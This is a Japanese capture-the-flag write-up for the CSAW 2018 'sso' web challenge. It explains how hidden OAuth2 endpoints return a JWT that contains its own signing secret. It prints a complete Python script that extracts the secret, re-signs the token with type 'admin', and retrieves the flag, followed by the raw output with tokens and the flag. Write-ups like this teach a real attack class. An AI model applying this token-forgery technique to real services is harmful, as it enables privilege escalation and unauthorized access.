CSAW CTF Quals 2018 - sso
問題文
Don't you love undocumented APIs
http://web.chal.csaw.io:9000/
writeup
HTMLソースを確認する。
<h1>Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!</h1> <a href="/protected">.</a> <!-- Wish we had an automatic GET route for /authorize... well they'll just have to POST from their own clients I guess POST /oauth2/token POST /oauth2/authorize form-data TODO: make a form for this route --!>
/protected
にアクセスすると、Missing header: Authorization
のエラー。
APIが2つ提供されている。但し、I/F仕様は不明。
- /oauth2/authorize
- /oauth2/token
OAuth2の手続きに沿って、上記APIを使用して認証してprotectedにアクセスすれば良さそうだ。ただ、各APIの仕様がわからないため、試行錯誤しながら手探りで進める。
結果、以下の方法でflagを取得できた。
/oauth2/authorize
でcode
を発行して/oauth2/token
に渡すとtokenを入手できた。token
はJWTの仕様に則っており、デコードするとsecret
を入手できた。secret
を使用すると、token
情報内のtype情報を書き換えて署名できるため、type
をuser
からadmin
に書き換えた。admin
のtoken
を付けて/protected
にリクエストするとflagをゲットできた。
以下、一気通貫で実行するコード。
import requests import re import json import jwt # authorizeからcode取得 r = requests.post("http://web.chal.csaw.io:9000/oauth2/authorize", data={ "response_type":"code", "redirect_uri":"http://example.com/", }, allow_redirects=False ) print("[+] r.text:", r.text) pattern = ".*code=(.*)&" m = re.search(pattern, r.text) if m: code = m.group(1) print("[+] code:", code) print(jwt.decode(code, algorithms=['HS256'], verify=False)) else: exit(1) # tokenからcode取得 r = requests.post("http://web.chal.csaw.io:9000/oauth2/token", data={ "grant_type":"authorization_code", "redirect_uri":"http://example.com/", "code":code }, allow_redirects=False ) print("[+] r.text:", r.text) token=r.json()["token"] print("[+] token:", token) token_decode=jwt.decode(token, algorithms=['HS256'], verify=False) print("[+] token_decode:", token_decode) # JWTのsecret取得 secret = token_decode["secret"] print("[+] secret:", secret) # typeを書き換え payload = r.json() payload["type"]="admin" print("[+] payload:", payload) token=jwt.encode(payload, secret, "HS256") print("[+] new token:", token) r = requests.get("http://web.chal.csaw.io:9000/protected", allow_redirects=False, headers={ "Authorization":"Bearer " + token.decode("utf-8") } ) print(r.text)
実行結果はこちら。
Redirecting to <a href="http://example.com/?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vZXhhbXBsZS5jb20vIiwiaWF0IjoxNTM2OTkxNjg2LCJleHAiOjE1MzY5OTIyODZ9.j_H5btMAPH_ImFLn39Mp-YMsEcWB1xQY8B2fYA755CY&state=">http://example.com/?code=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vZXhhbXBsZS5jb20vIiwiaWF0IjoxNTM2OTkxNjg2LCJleHAiOjE1MzY5OTIyODZ9.j_H5btMAPH_ImFLn39Mp-YMsEcWB1xQY8B2fYA755CY&state=</a>. [+] code: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWRpcmVjdF91cmkiOiJodHRwOi8vZXhhbXBsZS5jb20vIiwiaWF0IjoxNTM2OTkxNjg2LCJleHAiOjE1MzY5OTIyODZ9.j_H5btMAPH_ImFLn39Mp-YMsEcWB1xQY8B2fYA755CY {'redirect_uri': 'http://example.com/', 'iat': 1536991686, 'exp': 1536992286} {"token_type":"Bearer","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNjk5MTY4NiwiZXhwIjoxNTM2OTkyMjg2fQ.E8YmoP8WUIqNMd23hwsGE0Gx6syxD3fzrh11Q0B6lRo"} [+] token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNjk5MTY4NiwiZXhwIjoxNTM2OTkyMjg2fQ.E8YmoP8WUIqNMd23hwsGE0Gx6syxD3fzrh11Q0B6lRo [+] token_decode: {'type': 'user', 'secret': 'ufoundme!', 'iat': 1536991686, 'exp': 1536992286} [+] secret: ufoundme! [+] payload: {'token_type': 'Bearer', 'token': 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ0eXBlIjoidXNlciIsInNlY3JldCI6InVmb3VuZG1lISIsImlhdCI6MTUzNjk5MTY4NiwiZXhwIjoxNTM2OTkyMjg2fQ.E8YmoP8WUIqNMd23hwsGE0Gx6syxD3fzrh11Q0B6lRo', 'type': 'admin'} [+] new token: b'eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0b2tlbl90eXBlIjoiQmVhcmVyIiwidG9rZW4iOiJleUpoYkdjaU9pSklVekkxTmlJc0luUjVjQ0k2SWtwWFZDSjkuZXlKMGVYQmxJam9pZFhObGNpSXNJbk5sWTNKbGRDSTZJblZtYjNWdVpHMWxJU0lzSW1saGRDSTZNVFV6TmprNU1UWTROaXdpWlhod0lqb3hOVE0yT1RreU1qZzJmUS5FOFltb1A4V1VJcU5NZDIzaHdzR0UwR3g2c3l4RDNmenJoMTFRMEI2bFJvIiwidHlwZSI6ImFkbWluIn0.tjVSYPpE2mipLynJvx5L4T2dRud1gBZTmpEJvnJFz3U' flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}
フラグゲット。
flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}